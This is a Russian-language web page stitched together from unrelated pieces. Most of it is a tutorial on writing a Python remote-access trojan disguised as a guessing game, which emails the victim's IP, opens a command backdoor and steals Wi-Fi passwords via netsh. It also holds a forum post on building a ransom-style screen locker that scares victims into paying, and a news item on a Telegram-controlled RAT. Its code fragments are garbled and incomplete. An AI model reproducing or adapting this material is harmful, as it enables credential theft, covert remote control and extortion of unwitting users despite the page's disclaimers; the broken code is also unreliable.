Как сделать на питоне вирус

Добавил пользователь Владимир З.
Обновлено: 22.08.2024

В этой статье я рас­ска­жу, как написать на Python прос­тей­ший тро­ян с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если ты не зна­ешь Python, ты смо­жешь луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Ко­неч­но, при­веден­ные в статье скрип­ты никак не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют нап­рочь. Тем не менее при некото­рой сме­кал­ке их воз­можно исполь­зовать для нес­ложных пакос­тей — нап­ример, вырубить чей-нибудь компь­ютер в клас­се (или в офи­се, если в клас­се ты не наиг­рался).

ТЕОРИЯ

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го. Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы-то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем-то не впол­не ожи­даемым.

WARNING

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Пом­ни об этом.

ОПРЕДЕЛЯЕМ IP

Сна­чала нам (то есть нашему тро­яну) нуж­но опре­делить­ся, где он ока­зал­ся. Важ­ная часть тво­ей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у тебя отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

pip install socket

pip install requests

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­ти вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, Wi-Fi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

Ес­ли с локаль­ным адре­сом все более-менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все нем­ного слож­нее.

Вы­вес­ти информа­цию еще про­ще:

Ни­ког­да не встре­чал конс­трук­ции типа print(f'<>') ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. Прос­тыми сло­вами — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это тебе на JavaScript!).

from requests import get

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

БЭККОННЕКТ ПО ПОЧТЕ

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install ):

import smtplib as smtp

from getpass import getpass

Пи­шем базовую информа­цию о себе:

Даль­ше сфор­миру­ем пись­мо:

message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

В стро­ке server.ehlo(email) мы исполь­зуем коман­ду EHLO . Боль­шинс­тво сер­веров SMTP под­держи­вают ESMTP и EHLO . Если сер­вер, к которо­му ты пыта­ешь­ся под­клю­чить­ся, не под­держи­вает EHLO , мож­но исполь­зовать HELO .

Пол­ный код этой час­ти тро­яна:

import smtplib as smtp

from getpass import getpass

from requests import get

message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)

server.sendmail(email, dest_email, message)

За­пус­тив этот скрипт, получа­ем пись­мо.


Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.


ТРОЯН

По задум­ке, тро­ян пред­став­ляет собой кли­ент-сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

number = random.randint(0, 1000)

guess = input('Введите число: ')

if guess == number:

print(f'Ты победил! Я загадал . Ты использовал попыток.')

if guess > number:

print('Загаданное число меньше!')

print('Загаданное число больше!')

print('Это не число от 0 до 1000!')

За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать guess = int(input('Введите число: ')) . Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if server_command == 'cmdon':

client.send('Получен доступ к терминалу'.encode('cp866'))

if server_command == 'cmdoff':

if server_command == 'hello':

client.send(f' успешно отправлена!'.encode('cp866'))

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Итак, стро­ка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) соз­дает эхо-сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка client.connect((HOST, PORT)) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Ко­ман­да decode('cp866') декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но cp866 ? Зай­дем в коман­дную стро­ку и вве­дем коман­ду chcp .


Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf-8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет тебе домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.


Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давай еще пароли от Wi-Fi ста­щим!

WI-FI-СТИЛЕР

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения c потока­ми стан­дар­тно­го вво­да-вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей Wi-Fi:

Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]

for Wi-Fi in Wi-Fis:

results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]

print(f'Имя сети: , Пароль не найден!')

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.


netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду netsh wlan show profile [имя сети] key=clear , резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear Вер­дикт VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

if server_command == 'Wi-Fi':

Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]

for Wi-Fi in Wi-Fis:

results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]

message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)

server.sendmail(email, dest_email, message)

email_text = (f'Name: , Password not found!')

message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)

server.sendmail(email, dest_email, message)

Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.


Ре­зуль­тат

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам вирус очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

ЗАКЛЮЧЕНИЕ

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что ты ува­жаешь закон, а получен­ные зна­ния о тро­янах тебе никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будь акку­ратен!


Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.

BeyondRedemption

Бывалый

BeyondRedemption

Бывалый

Мы с вами напишем локер для компьютера, на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя, пока он не введет пароль. В простонародье данный вирус называют "WinLocker".

Переходим на официальный сайт PythonА -

. Скачиваем последнюю версию и устанавливаем ее.

Наш вирус будет работать по такому принципу: Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль, мышка будет постоянно кликать на кнопку, и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле, он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)

Для написания вы можете использовать обычный IDLE от питона, или любой другой. Для начала мы должны к нашей программе подключить нужные нам библиотеки.
*Библиотека - написанные коды/функции, которые подключаются к нашей программе.

MHTTWGG5r7Y.jpg

Но при запуске нам выдаст ошибку, указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

ДАЛЬШЕ МЫ ЗАДАДИМ ПЕРЕМЕННЫЕ, КОТОРЫЕ МЫ БУДЕМ ИСПОЛЬЗОВАТЬ

pLq1HDGYlq8.jpg

Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля. Сначала создаем функцию блокировки компьютера.

woFFOOIx324.jpg

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

AXpgi1fgHKA.jpg

Дальше мы должны создать окно нашего локера,которое откроется на весь экран.


У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

image.jpg

До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране. (используем функцию .place(), которая принимает значения x и y - координаты)

gusHY_ZKC9s.jpg

vlFh3oe0wM8.jpg

Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода

-OO9oXCotSU.jpg

Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

Kcv8sav2VEI.jpg

Компилируем в exe При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу. Смотрим видео.

Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - убить процесс практически невозможно. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.

НЕБОЛЬШОЙ СЛОВАРЬ ТЕРМИНОВ:
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль - написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит


Недавно был создан Remote Access Trojan (RAT), который использует протокол Telegram для кражи пользовательских данных через зараженное устройство. RAT написан в Python и в данный момент находится в свободном доступе для скачивания на порталах обмена кодами (Github).

RAT вирус написанный на Python использует протокол Telegram

Создатель RAT, утверждает, что целью создания RAT была исключительно оптимизация и улучшение выполняемой работы для RAT. Автор подчеркивает, что главная проблема с большей частью RAT в том, что они не используют шифрование и запрашивают включение переадресации порта на устройстве жертвы для контроля зараженных хостов. Разработчик предлагает его собственный инструмент, под названием RATAtack, который использует протокол Telegram для поддержки зашифрованного канала жертвы и создателя канала, и не требует переадресации портов, так как протокол Telegram предусматривает простой метод связи с целью без предварительной настройки порта.

RAT работает через ботов в Telegram

Перед появлением RATatack, пользователь RAT должен создать бота в Telegram, взять маркер этого бота и поместить его в конфигурационный файл RAT. После заражения жертвы RATAttack, все хосты соединяются с каналом бота. Владелец RATAttack может подключиться к тому же каналу и пользоваться простыми инструкциями для управления клиентами RATatack в зараженных хостах. В соответствии с нынешней версией RATAttack, поддерживаются следующие команды:

Интерфейс RAT в Telegram

Ниже указаны некоторые функции RATAttack, а также находящиеся в доработке:

Функции в разработке:

  • Самоуничтожение RAT на компьютере цели;
  • Снимки с вебкамеры (если имеется);
  • Удаление файлов на компьютере цели

RATAttack написан на Python 2.7, но автор обещал версию для Python 3.X.

RAT вирус написанный на Python использует протокол Telegram

Читайте также: